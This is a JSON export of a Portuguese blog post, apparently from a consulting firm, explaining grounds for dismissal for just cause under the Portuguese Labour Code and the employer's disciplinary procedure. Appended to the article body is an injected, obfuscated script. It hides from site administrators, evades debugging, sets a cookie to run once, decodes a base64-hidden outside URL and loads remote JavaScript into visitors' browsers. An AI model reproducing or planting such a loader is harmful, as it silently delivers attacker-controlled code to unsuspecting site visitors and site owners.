{"id":22423,"date":"2023-08-07T12:04:31","date_gmt":"2023-08-07T12:04:31","guid":{"rendered":"https:\/\/reward.pt\/?p=22423"},"modified":"2026-04-19T04:30:04","modified_gmt":"2026-04-19T04:30:04","slug":"despedimento-justa-causa-lei-7-2009-codigo-do-trabalho","status":"publish","type":"post","link":"https:\/\/reward.pt\/en\/despedimento-justa-causa-lei-7-2009-codigo-do-trabalho\/","title":{"rendered":"Despedimento por Justa Causa: Lei n.\u00ba 7\/2009 do C\u00f3digo do Trabalho (com v\u00eddeo)"},"content":{"rendered":"<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Motivos para Despedimento por Justa Causa - Lei n.\u00ba 7\/2009 do C\u00f3digo do Trabalho | REWARD Consulting\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/Ejvzb2hhKDM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p>O despedimento por justa causa \u00e9 das situa\u00e7\u00f5es mais complexas e sens\u00edveis no \u00e2mbito laboral e existem v\u00e1rios motivos que podem conduzir ao fim da rela\u00e7\u00e3o laboral.<\/p>\n\n\n\n<div style=\"height:45px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Motivos para Despedimento por Justa Causa por parte do empregador<\/h2>\n\n\n\n<div style=\"height:23px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>No <a href=\"https:\/\/www.pgdlisboa.pt\/leis\/lei_mostra_articulado.php?artigo_id=1047A0347&amp;nid=1047&amp;tabela=leis&amp;pagina=1&amp;ficha=1&amp;so_miolo=&amp;nversao=\" target=\"_blank\" rel=\"noopener\">C\u00f3digo do Trabalho portugu\u00eas<\/a>, esta modalidade de rescis\u00e3o unilateral do contrato de trabalho est\u00e1 definida de forma clara e estabelece os crit\u00e9rios que justificam tal decis\u00e3o por parte da entidade patronal e do trabalhador.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Desobedi\u00eancia Ileg\u00edtima<\/strong>: Quando o trabalhador n\u00e3o acata ordens dadas pelos seus superiores hier\u00e1rquicos, est\u00e1 a comprometer a din\u00e2mica e a produtividade da empresa. Esta desobedi\u00eancia, quando reiterada, pode ser motivo para despedimento.<\/li>\n\n\n\n<li><strong>Viola\u00e7\u00e3o de Direitos<\/strong>: A harmonia no ambiente de trabalho \u00e9 da m\u00e1xima import\u00e2ncia. Se o trabalhador viola os direitos dos colegas ou provoca conflitos de forma repetida, compromete a estabilidade do ambiente laboral.<\/li>\n\n\n\n<li><strong>Incumprimento Profissional<\/strong>: O trabalhador tem a obriga\u00e7\u00e3o de cumprir com as responsabilidades inerentes ao seu cargo. A exist\u00eancia de incumprimentos cont\u00ednuos nesta \u00e1rea pode levar \u00e0 rescis\u00e3o do seu contrato por parte do empregador.<\/li>\n\n\n\n<li><strong>Faltas Injustificadas<\/strong>: A assiduidade \u00e9 um dos pilares do compromisso laboral. Faltar ao trabalho sem justifica\u00e7\u00e3o, especialmente se resultar em preju\u00edzo para a empresa, \u00e9 motivo para despedimento.<\/li>\n\n\n\n<li><strong>Desrespeito pelas normas de seguran\u00e7a<\/strong>: Ignorar normas de seguran\u00e7a e sa\u00fade pode colocar em risco n\u00e3o s\u00f3 o trabalhador, mas tamb\u00e9m colegas e a pr\u00f3pria empresa.<\/li>\n\n\n\n<li><strong>Atos de Viol\u00eancia<\/strong>: Qualquer forma de viol\u00eancia ou ofensa, seja sob a forma f\u00edsica ou verbal, \u00e9 inadmiss\u00edvel em ambiente de trabalho.<\/li>\n\n\n\n<li><strong>Desrespeito por decis\u00f5es judiciais<\/strong>: O trabalhador deve respeitar e cumprir decis\u00f5es judiciais ou administrativas relacionadas ao seu trabalho.<\/li>\n\n\n\n<li><strong>Redu\u00e7\u00e3o de Produtividade<\/strong>: A produtividade \u00e9 um indicador de desempenho do colaborador. Uma redu\u00e7\u00e3o dr\u00e1stica e intencional pode ser interpretada como desinteresse ou neglig\u00eancia, em caso de quebra continuada de produtividade, pode existir lugar a despedimento por justa causa.<\/li>\n\n\n\n<li><strong>Concorr\u00eancia \u00e0 empresa<\/strong>: Atos de concorr\u00eancia direta ou indireta \u00e0 empresa, especialmente em segredo, s\u00e3o uma viola\u00e7\u00e3o grave do contrato de trabalho.<\/li>\n\n\n\n<li><strong>Viola\u00e7\u00e3o do segredo da empresa<\/strong>: Informa\u00e7\u00f5es confidenciais s\u00e3o vitais para a estrat\u00e9gia e competitividade de uma empresa. A divulga\u00e7\u00e3o de tais informa\u00e7\u00f5es pode causar danos irrepar\u00e1veis e causar despedimento por justa causa.<\/li>\n\n\n\n<li><strong>Falsas Justifica\u00e7\u00f5es<\/strong>: Justificar faltas com informa\u00e7\u00f5es falsas \u00e9 uma quebra de confian\u00e7a que pode levar ao despedimento.<\/li>\n\n\n\n<li><strong>Desinteresse Continuado<\/strong>: O desinteresse cont\u00ednuo pelo cumprimento das obriga\u00e7\u00f5es pode ser interpretado como uma falta de compromisso com a empresa e os seus objetivos.<\/li>\n<\/ul>\n\n\n\n<p>O C\u00f3digo do Trabalho \u00e9 claro quanto \u00e0s obriga\u00e7\u00f5es e direitos de ambas as partes. A entidade patronal, ao considerar o despedimento por justa causa, deve ter como base factos concretos e pass\u00edveis de serem comprovados, com respeito aos direitos do trabalhador.<\/p>\n\n\n\n<div style=\"height:45px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Motivos para Despedimento por Justa Causa por parte do trabalhador<\/h2>\n\n\n\n<div style=\"height:23px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>No entanto, o C\u00f3digo do Trabalho de Portugal tamb\u00e9m estabelece as situa\u00e7\u00f5es em que o trabalhador pode rescindir o contrato de trabalho invocando justa causa. Estas situa\u00e7\u00f5es refletem os direitos fundamentais do trabalhador e as obriga\u00e7\u00f5es da entidade empregadora.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Incumprimento Salarial<\/strong>: O sal\u00e1rio \u00e9 a principal contrapartida do trabalho prestado. Se o empregador falha no pagamento (de forma culposa ou n\u00e3o culposa), o trabalhador tem o direito de considerar a rescis\u00e3o do contrato.<\/li>\n\n\n\n<li><strong>Viola\u00e7\u00e3o de Direitos<\/strong>: A pr\u00e1tica de ass\u00e9dio, seja na vertente moral ou sexual, ou qualquer outra viola\u00e7\u00e3o dos Direitos do Trabalhador, \u00e9 motivo para rescis\u00e3o por justa causa.<\/li>\n\n\n\n<li><strong>San\u00e7\u00e3o Abusiva<\/strong>: A aplica\u00e7\u00e3o de uma san\u00e7\u00e3o que considerada abusiva ou desproporcional pode ser invocada pelo trabalhador como justa causa para a rescis\u00e3o do contrato de trabalho.<\/li>\n\n\n\n<li><strong>Condi\u00e7\u00f5es de Trabalho Inseguras<\/strong>: A sa\u00fade e a seguran\u00e7a no trabalho s\u00e3o direitos fundamentais. O trabalhador pode considerar a rescis\u00e3o se o empregador n\u00e3o garantir condi\u00e7\u00f5es seguras e saud\u00e1veis.<\/li>\n\n\n\n<li><strong>Ofensas \u00e0 Integridade<\/strong>: Qualquer ofensa \u00e0 integridade f\u00edsica, moral, liberdade, honra ou dignidade do trabalhador, pun\u00edvel por lei, \u00e9 motivo para despedimento por justa causa.<\/li>\n\n\n\n<li><strong>Obriga\u00e7\u00f5es Legais<\/strong>: Se o trabalhador estiver impossibilitado de manter o v\u00ednculo contratual devido ao cumprimento de obriga\u00e7\u00f5es legais, pode invocar justa causa.<\/li>\n\n\n\n<li><strong>Altera\u00e7\u00e3o das Condi\u00e7\u00f5es de Trabalho<\/strong>: Uma mudan\u00e7a substancial e duradoura nas condi\u00e7\u00f5es de trabalho, sem acordo do trabalhador e que resulte em preju\u00edzo, pode ser motivo para rescis\u00e3o.<\/li>\n\n\n\n<li><strong>Viola\u00e7\u00e3o de Garantias<\/strong>: Se o empregador n\u00e3o respeitar as garantias legais ou convencionais do trabalhador, este tem o direito de considerar a rescis\u00e3o.<\/li>\n\n\n\n<li><strong>Les\u00e3o de Interesses<\/strong>: Qualquer a\u00e7\u00e3o ou omiss\u00e3o do empregador que resulte em les\u00e3o de interesses patrimoniais s\u00e9rios do trabalhador pode ser invocada como justa causa.<\/li>\n\n\n\n<li><strong>Ofensas por Parte do Empregador<\/strong>: Se o empregador ou o seu representante cometer ofensas contra o trabalhador ou sua fam\u00edlia, o trabalhador tem o direito de rescindir o contrato.<\/li>\n<\/ul>\n\n\n\n<p>O trabalhador, ao considerar a rescis\u00e3o por justa causa, deve estar ciente dos seus direitos e obriga\u00e7\u00f5es. Deve basear-se em factos concretos e comprov\u00e1veis, de forma a garantir que a sua decis\u00e3o est\u00e1 alinhada com o estipulado no C\u00f3digo do Trabalho.<\/p>\n\n\n\n<div style=\"height:45px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Procedimentos legais da empresa no Despedimento por Justa Causa do trabalhador<\/h2>\n\n\n\n<div style=\"height:23px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Caso a entidade patronal tenha em vista o despedimento por justa causa do trabalhador, esta deve seguir um conjunto de procedimentos estabelecidos pela legisla\u00e7\u00e3o laboral de Portugal. Estes s\u00e3o:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Inqu\u00e9rito Preliminar<\/strong>: O empregador deve realizar um inqu\u00e9rito interno antes de tomar qualquer a\u00e7\u00e3o para apurar os factos que levam \u00e0 considera\u00e7\u00e3o do despedimento por justa causa. Este inqu\u00e9rito deve reunir todas as informa\u00e7\u00f5es e evid\u00eancias que sustentem a decis\u00e3o.<\/li>\n\n\n\n<li><strong>Suspens\u00e3o Preventiva<\/strong>: Se durante a fase de inqu\u00e9rito se verificar que a presen\u00e7a do trabalhador pode prejudicar o normal funcionamento da empresa ou da investiga\u00e7\u00e3o em curso, o empregador pode optar pela suspens\u00e3o preventiva do trabalhador. Esta suspens\u00e3o deve ser devidamente fundamentada e comunicada ao trabalhador.<\/li>\n\n\n\n<li><strong>Nota de Culpa<\/strong>: Se ap\u00f3s a conclus\u00e3o do inqu\u00e9rito, o empregador entender que existem motivos para avan\u00e7ar com o despedimento, este deve elaborar e entregar ao trabalhador uma nota de culpa. O documento deve detalhar os factos imputados ao trabalhador que justificam o despedimento.<\/li>\n\n\n\n<li><strong>Resposta \u00e0 Nota de Culpa<\/strong>: O trabalhador tem o direito a responder \u00e0 nota de culpa, apresentar a sua defesa e argumentos que considere relevantes. Este momento permite ao trabalhador apresentar a sua vers\u00e3o dos factos e eventualmente contestar as acusa\u00e7\u00f5es.<\/li>\n\n\n\n<li><strong>Instru\u00e7\u00e3o do Processo<\/strong>: Ap\u00f3s a resposta, o empregador deve proceder \u00e0 instru\u00e7\u00e3o do processo. Esta fase pode incluir a audi\u00e7\u00e3o de testemunhas e an\u00e1lise de provas adicionais que possam esclarecer os factos.<\/li>\n\n\n\n<li><strong>Decis\u00e3o de Despedimento<\/strong>: Com base nas informa\u00e7\u00f5es recolhidas e ap\u00f3s a instru\u00e7\u00e3o do processo, o empregador toma a decis\u00e3o final. Se optar pelo despedimento, deve comunicar a decis\u00e3o ao trabalhador e justifica-la com os factos apurados e a legisla\u00e7\u00e3o em vigor.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>O despedimento por justa causa \u00e9 das situa\u00e7\u00f5es mais complexas e sens\u00edveis no \u00e2mbito laboral e existem v\u00e1rios motivos que podem conduzir ao fim da rela\u00e7\u00e3o laboral. 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